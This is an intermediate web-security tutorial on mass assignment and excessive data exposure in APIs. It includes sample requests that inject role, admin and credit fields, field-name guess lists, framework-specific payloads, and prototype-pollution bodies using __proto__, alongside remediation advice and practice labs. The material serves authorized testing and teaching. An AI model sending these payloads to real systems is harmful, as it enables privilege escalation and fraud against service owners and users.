11 min read

API Security
Intermediate
API3

Mass Assignment & Data Exposure

Mass assignment (also known as Auto-Binding) occurs when an API endpoint automatically binds client input to internal object properties without filtering. This allows attackers to modify properties they shouldn't have access to, such as isAdmin, balance, or role.

Authorization boundary

Property tests change data: use the accounts and records you created for the engagement, restore any value you overwrite, and never print a real user's record — field names and synthetic values prove the finding.

API3 has two halves

Broken Object Property Level Authorization is both write-side — binding a property the client must not set (mass assignment) — and read-side — returning a property the client must not see (excessive data exposure). They are tested on the same endpoints and fixed at the same DTO boundary, so this page covers both: write side first, then the read side.

Mass Assignment (Write Side)

The goal is to identify hidden fields and try to modify them.

1. Observe the API response

Look for fields in the response that are not present in the request documentation, such as role, isVerified, or credits.

Request:

Read your own record
GET /api/users/1001

Response:

User object as returned
{
  "id": 1001,
  "name": "John",
  "email": "john@example.com",
  "role": "user",
  "isVerified": true,
  "credits": 100,
  "internalId": "abc123"
}

2. Attempt modification

Try to include these fields in a PUT or POST request with elevated values.

PUT with a privileged field
PUT /api/users/1001
Content-Type: application/json

{
  "name": "John",
  "role": "admin",
  "isVerified": true,
  "credits": 99999
}

3. Common parameters

Even if you don't see them in the response, try guessing common administrative parameter names.

Field-name guesses
{
  "role": "admin",
  "isAdmin": true,
  "admin": true,
  "is_admin": true,
  "user_type": "admin",
  "userType": "admin",
  "privilege": "admin",
  "permissions": ["admin"],
  "access": "full",
  "verified": true,
  "email_verified": true,
  "active": true,
  "approved": true,
  "credits": 99999,
  "balance": 99999,
  "discount": 100,
  "price": 0
}

4. Registration testing

Registration endpoints are often vulnerable to mass assignment.

Registration with a role field
POST /api/register
Content-Type: application/json

{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@evil.com",
  "role": "admin"
}

5. Nested objects

Don't forget to test nested objects.

Nested objects
{
  "user": {
    "role": "admin"
  },
  "profile": {
    "isAdmin": true
  }
}

Mass Assignment Attack Flow

The diagram is wider than this screen — swipe it sideways to read the labels.

Spec vs Response: Field Diffing

Compare the response schema with the body the endpoint actually returns. Any key in the body that the schema does not declare is either an undocumented feature or a leak, and either way it is a candidate.

Compare the right two things

An OpenAPI response object has keys content, description and headers — they are not the body's keys. Diffing that object against a live response reports every field as undocumented. Drill into content["application/json"].schema.properties first, and inline $refs before you do, or the schema will be a single pointer.
spec-vs-response.sh
# POSIX sh. Temp files, not <(…): process substitution is bash/ksh/zsh only.
mkdir -p diff && cd diff || exit 1

# 0. Inline every $ref so the schema body is actually present
npx @redocly/cli bundle ../openapi.json -o bundled.json

# 1. Every property the schema declares for this response
jq -r '.paths["/api/users/{id}"].get.responses["200"]
       .content["application/json"].schema
       | [.. | objects | (.properties? // empty) | keys[]] | unique[]' bundled.json \
  | LC_ALL=C sort > documented.txt

# 2. Every key the live body actually carries
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 \
  | jq -r 'keys[]' | LC_ALL=C sort > actual.txt

# 3. In the body, absent from the schema -> read-side candidate
comm -13 documented.txt actual.txt

# Nested fields leak too: compare dot-paths instead of top-level keys
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 \
  | jq -r 'paths(scalars) | join(".")' | LC_ALL=C sort > actual-leaves.txt

Excessive Data Exposure (Read Side)

The same response from step 1 above is the read-side finding when it is returned to a client that has no use for those fields. The API is not leaking because authorization failed — it is leaking because the serializer handed back the database row.

Response body vs documented schema
GET /api/users/1
Authorization: Bearer $USER_TOKEN

{
  "id": 1001,
  "name": "John",
  "email": "john@example.com",
  "role": "user",
  "isVerified": true,
  "credits": 100,
  "internalId": "abc123"
}

Decide field by field what the calling client actually needs, and say so in the report:

Field Client needs it? Why it matters if it leaks
id, name Yes The screen the client is rendering.
email Own profile only Contact data; a directory harvest at scale when returned on collections.
role No Maps the privilege model and marks which accounts are worth attacking.
isVerified No Tells an attacker which accounts are unverified and which workflows are open to them.
credits No Business value tied to a person; supports fraud targeting and discloses spend.
internalId No Correlation key across internal systems — a pivot for the next stage of the attack.

How to test it

  • Fetch the object as its owner, then fetch the same object as a second account: if the shape is identical and includes server-only fields, you have BOLA plus excessive exposure on the same endpoint.
  • Compare a detail response with the collection response (GET /api/users). Collections are frequently built from a different serializer and leak more per row, multiplied by page size.
  • Check the endpoints that are not the API: CSV/PDF exports, webhook payloads, admin search and the mobile client's cached responses.
  • Diff the response against the declared schema (previous section). Undeclared keys are the shortlist; then read each one and decide whether the client can justify it.
  • Test error paths: a 400 that echoes the whole object back is the same leak with a different status code.

How to report it

Report it as API3 excessive data exposure, with the endpoint, the field list, one request/response pair using a synthetic record, and the business impact of each field. Do not paste a real customer's row into the report — redact the values, keep the field names, and say which fields were returned to a caller who should not have seen them. If the leak is on another user's object, file the BOLA finding separately: they are two fixes.

The control: shape the response, do not trust the client

response-shaping.js
// Bad: the row is the response. Every column the query selected is now public.
res.json(row);

// Good: an explicit output DTO — a closed allow-list of fields.
const toPublicUser = (u) => ({
  id: u.id,
  name: u.name,
  email: u.email
});

res.json(toPublicUser(row));

The same rule applies one layer down: select only the columns the response needs, keep private and public representations as separate types, and add a contract test that asserts the exact key set of each response so a new column cannot silently become public.

Framework-Specific Payloads

Different frameworks handle property binding differently. Tailor your payloads accordingly.

Ruby on Rails

Rails: nested attributes
# Rails params — try nested attributes
PATCH /api/users/1
{"user": {"role": "admin", "admin": true}}

# Rails accepts_nested_attributes_for
{"user": {"profile_attributes": {"verified": true}}}

Django / DRF

Django REST Framework: serializer gaps
# Django REST Framework — try fields excluded from serializer
PATCH /api/users/1/
{"is_staff": true, "is_superuser": true}

# Nested serializers
{"profile": {"is_verified": true, "credit_balance": 99999}}

Node.js / Express + Mongoose

Mongoose: schema gaps and __proto__
# Mongoose models — try schema fields not in the form
PUT /api/users/1
{"role": "admin", "__v": 0}

# Prototype pollution via JSON merge
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

Prototype pollution

In Node.js APIs, prototype pollution via __proto__ or constructor.prototype can escalate mass assignment into RCE. If the API accepts these keys without sanitization, it may pollute the entire Object prototype — affecting all objects in the process. Always test for this in JavaScript-based backends.

Evidence Collection

For a property-level finding, capture:

The write, then the read: The request carrying the extra property, its response, and a follow-up GET of the same object showing the stored value — the status code alone proves nothing.

The field list: Every property accepted or returned beyond the documented schema, with the client that consumes it and why it does not need it.

The schema diff: the bundled OpenAPI document, the declared property list and the live key list, so a reviewer can reproduce it with comm.

False Positive Identification

  • Accepted but ignored: A 200 does not mean the value was stored. Many frameworks drop unbound keys silently, so re-read the object before writing it up — the stored value is the finding, the status code is not.
  • A field the client actually needs: Excessive exposure is a field the calling client has no use for, across a boundary it should not cross. A timestamp, currency or plan name that the screen renders is not a leak merely because it looks internal.

Testing Checklist

Write side

  • ☐ Enumerate properties from a live object and from the schema, then add each candidate to a PATCH and re-read the object to confirm it stuck.
  • ☐ Repeat on registration, nested objects and array-of-object bodies — binding rules differ per endpoint.

Read side

  • ☐ Compare detail against collection responses, then check exports, webhook payloads and error bodies for the same row.
  • ☐ Ask, field by field, whether the calling client can justify it; record the answer next to each field.

Remediation & Defense

One boundary fixes both halves: an explicit input DTO for what may be written, an explicit output DTO for what may be read.

Write side

  • • Allow-list the bindable properties. An input DTO per endpoint with only the fields a client may set, never the raw body bound to a model — Rails strong_parameters, DRF fields and Express pick() are the same control in three syntaxes.
  • • Sensitive properties are server-set only. isAdmin, role, credits and balance are assigned by server-side code paths, never from request input, and the schema marks them readOnly.
  • • Strip dangerous keys. Remove __proto__, constructor and prototype from parsed JSON before any merge or spread, and reject unknown properties rather than ignoring them — rejection is how you learn a client still sends them.

Read side

  • • An explicit output DTO per endpoint. Serialize through a closed allow-list, never res.json(row): a new column should require a deliberate DTO change before it can reach a client.
  • • Select only what you return. Project columns at the query (SELECT id, name, email) so identifiers and billing values never enter the response path.
  • • Contract-test the key set. Assert the exact response keys per endpoint in CI and diff against the OpenAPI schema, so a migration cannot silently publish a column.

Finding mass assignment targets

Check API response bodies for fields not present in the request — these are candidates for both directions: writable on the way in, leaky on the way out. Common targets: isAdmin, role, balance, verified, credits.

Mass Assignment Practice

Exploit object property injection and excessive data exposure in deliberately vulnerable API environments.

crAPI — Mass Assignment Challenge Custom Lab medium
Response field diffingRole injectionPrice manipulation
vAPI — Property Injection Custom Lab easy
Admin flag injectionRegistration abuseNested object injection